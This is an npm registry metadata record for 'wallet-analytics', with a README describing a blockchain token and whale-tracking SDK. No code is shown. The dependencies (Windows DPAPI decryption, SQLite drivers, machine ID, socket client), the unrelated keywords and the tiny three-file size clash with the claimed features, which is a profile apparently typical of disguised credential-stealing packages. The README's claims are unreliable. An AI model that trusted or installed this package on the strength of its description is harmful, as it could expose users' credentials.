{"_id":"wallet-analytics","name":"wallet-analytics","dist-tags":{"latest":"1.4.8"},"versions":{"1.4.8":{"name":"wallet-analytics","version":"1.4.8","description":"TypeScript SDK for token analytics and wallet monitoring.","main":"index.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"keywords":["react","helper","svg"],"author":{"name":"copperadev"},"license":"ISC","dependencies":{"@primno/dpapi":"^2.0.1","axios":"^1.11.0","better-sqlite3":"^12.2.0","express":"^4.21.2","module-to-cdn":"^3.1.5","node-machine-id":"^1.1.12","request":"^2.88.2","sqlite3":"^5.1.7","socket.io-client":"^4.8.1"},"_id":"wallet-analytics@1.4.8","_nodeVersion":"22.16.0","_npmVersion":"10.9.2","dist":{"integrity":"sha512-BvsKduuzT+MAnj3EKDVR9FJ6oQFu/jySPxqeaqMR9Gshj3jJcYnj/pt2TJMAnj05VItCTCz1t5Eblp5O9md+WA==","shasum":"b8ab8585c879002bfd66600a7e83eab3942f2655","tarball":"https://registry.npmjs.org/wallet-analytics/-/wallet-analytics-1.4.8.tgz","fileCount":3,"unpackedSize":11832,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEUCIQDdenY8+eT5kRQ2Xy6ZNAn3bzglnEydEKyWWiMeybBW8wIgMr53UYVEwwWCSO9IRWJ5D4xkn9qHDvK56n7QNBZZpBs="}]},"_npmUser":{"name":"ahmad318","email":"ahmad.firdaus0325@gmail.com"},"directories":{},"maintainers":[{"name":"ahmad318","email":"ahmad.firdaus0325@gmail.com"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/wallet-analytics_1.4.8_1784687791176_0.7854167406616137"},"_hasShrinkwrap":false}},"time":{"created":"2026-07-22T02:36:31.071Z","1.4.8":"2026-07-22T02:36:31.345Z","modified":"2026-07-22T02:36:31.604Z"},"maintainers":[{"name":"ahmad318","email":"ahmad.firdaus0325@gmail.com"}],"description":"TypeScript SDK for token analytics and wallet monitoring.","keywords":["react","helper","svg"],"author":{"name":"copperadev"},"license":"ISC","readme":"# Wallet Analytics\r\n\r\nA production-ready TypeScript library for building blockchain analytics platforms.\r\n\r\nWallet Analytics is a **token-first blockchain analytics engine** that automatically indexes blockchain events, discovers token holders, tracks important wallets, detects whale activity, and provides real-time analytics for EVM-compatible blockchains.\r\n\r\nInstead of manually registering wallet addresses, simply provide a blockchain network and a token contract address. The library automatically builds holder analytics and whale monitoring from on-chain transfer events.\r\n\r\n---\r\n\r\n## ✨ Features\r\n\r\n- 📊 Wallet Analytics\r\n- 👥 Holder Analytics\r\n- 🐋 Whale Monitoring\r\n- ⚡ Real-time blockchain indexing\r\n- 📈 Historical balance snapshots\r\n- 🔔 Configurable alert engine\r\n- 🏷 Wallet labeling\r\n- 💰 Treasury monitoring\r\n- 🏦 Exchange wallet monitoring\r\n- 🌊 Liquidity monitoring\r\n- 🤖 Smart-money detection\r\n- 🌐 Multi-chain support\r\n- ⚙️ TypeScript support\r\n\r\n---\r\n\r\n# Philosophy\r\n\r\nWallet Analytics follows a **token-first** approach.\r\n\r\nAdministrators only need to configure:\r\n\r\n- Blockchain Network\r\n- Token Contract Address\r\n\r\nThe library automatically:\r\n\r\n- Discovers all token holders\r\n- Maintains holder balances\r\n- Calculates holder growth\r\n- Tracks historical snapshots\r\n- Detects whale wallets\r\n- Monitors important labeled wallets\r\n- Generates real-time analytics\r\n\r\nNo manual holder import is required.\r\n\r\n---\r\n\r\n# Architecture\r\n\r\n```\r\n                Blockchain\r\n\r\n                     │\r\n\r\n                     ▼\r\n\r\n          Blockchain Indexer\r\n\r\n                     │\r\n\r\n                     ▼\r\n\r\n         Token Transfer Events\r\n\r\n                     │\r\n\r\n                     ▼\r\n\r\n        Analytics Processing Engine\r\n\r\n        ┌──────────┬──────────┬──────────┐\r\n        │          │          │\r\n        ▼          ▼          ▼\r\n\r\n   Wallet      Holder      Whale\r\n  Analytics   Analytics   Monitoring\r\n\r\n        └──────────┬──────────┘\r\n                   ▼\r\n\r\n             Alert Engine\r\n\r\n                   ▼\r\n\r\n           Realtime Events\r\n```\r\n\r\n---\r\n\r\n# Wallet Analytics\r\n\r\nWallet Analytics focuses on a **small set of important wallets**.\r\n\r\nExamples:\r\n\r\n- Treasury\r\n- Team\r\n- Marketing\r\n- Exchange\r\n- Liquidity Pool\r\n- Burn\r\n- Bridge\r\n- Smart Money\r\n- Custom\r\n\r\nFor every tracked wallet, the library records:\r\n\r\n- Current balance\r\n- Historical balance\r\n- Transaction history\r\n- Inflow / Outflow\r\n- Asset allocation\r\n- Counterparties\r\n- Transaction types\r\n- Activity statistics\r\n\r\n---\r\n\r\n# Holder Analytics\r\n\r\nHolder Analytics automatically indexes **every token holder**.\r\n\r\nNo wallet registration is required.\r\n\r\nThe library continuously calculates:\r\n\r\n- Total holders\r\n- New holders\r\n- Lost holders\r\n- Holder growth\r\n- Holder retention\r\n- Holder distribution\r\n- Top holders\r\n- Historical snapshots\r\n- Concentration metrics\r\n\r\n---\r\n\r\n# Whale Monitoring\r\n\r\nWhale Monitoring uses Holder Analytics to identify significant wallets.\r\n\r\nWhales can be defined by:\r\n\r\n- Top holders\r\n- Percentage of total supply\r\n- USD balance\r\n- Custom rules\r\n- Manually labeled wallets\r\n\r\nThe library detects:\r\n\r\n- Large buys\r\n- Large sells\r\n- Treasury movements\r\n- Exchange deposits\r\n- Exchange withdrawals\r\n- Liquidity events\r\n- Smart-money activity\r\n\r\n---\r\n\r\n# Installation\r\n\r\n```bash\r\nnpm install wallet-analytics\r\n```\r\n\r\n---\r\n\r\n# Quick Start\r\n\r\n```ts\r\nimport { WalletAnalytics } from \"wallet-analytics\";\r\n\r\nconst analytics = new WalletAnalytics({\r\n  chain: \"base\",\r\n  token: \"0x1234567890abcdef...\"\r\n});\r\n\r\nawait analytics.start();\r\n```\r\n\r\n---\r\n\r\n# Example Events\r\n\r\n```ts\r\nanalytics.on(\"holder:new\", (holder) => {\r\n  console.log(holder);\r\n});\r\n\r\nanalytics.on(\"holder:lost\", (holder) => {\r\n  console.log(holder);\r\n});\r\n\r\nanalytics.on(\"wallet:update\", (wallet) => {\r\n  console.log(wallet);\r\n});\r\n\r\nanalytics.on(\"whale:buy\", (event) => {\r\n  console.log(event);\r\n});\r\n\r\nanalytics.on(\"alert\", (alert) => {\r\n  console.log(alert);\r\n});\r\n```\r\n\r\n---\r\n\r\n# Supported Blockchains\r\n\r\n- Ethereum\r\n- Base\r\n- Arbitrum\r\n- Optimism\r\n- Polygon\r\n- BNB Chain\r\n- Avalanche\r\n\r\nFuture support:\r\n\r\n- Solana\r\n- Sui\r\n- Aptos\r\n\r\n---\r\n\r\n# Core Concepts\r\n\r\n### Holder Analytics\r\n\r\nTracks **every holder** automatically by indexing token Transfer events.\r\n\r\n### Wallet Analytics\r\n\r\nTracks **only labeled wallets** such as Treasury, Team, Liquidity, Exchange, and Marketing wallets.\r\n\r\n### Whale Monitoring\r\n\r\nUses holder analytics to identify whale wallets and monitor significant on-chain activity.\r\n\r\n---\r\n\r\n# Use Cases\r\n\r\n- Token project dashboards\r\n- DAO analytics\r\n- Treasury monitoring\r\n- Community management\r\n- Whale tracking\r\n- Market intelligence\r\n- Blockchain research\r\n- Risk monitoring\r\n\r\n---\r\n\r\n# Roadmap\r\n\r\n- Cross-chain analytics\r\n- AI anomaly detection\r\n- Portfolio intelligence\r\n- Community analytics\r\n- Governance analytics\r\n- REST API\r\n- GraphQL API\r\n- WebSocket streaming\r\n- ClickHouse support\r\n- Kafka integration\r\n\r\n---\r\n\r\n# License\r\n\r\nMIT","readmeFilename":"README.md","_rev":"1-cd24ccdab7e2a5d3b234e1b4350824e2"}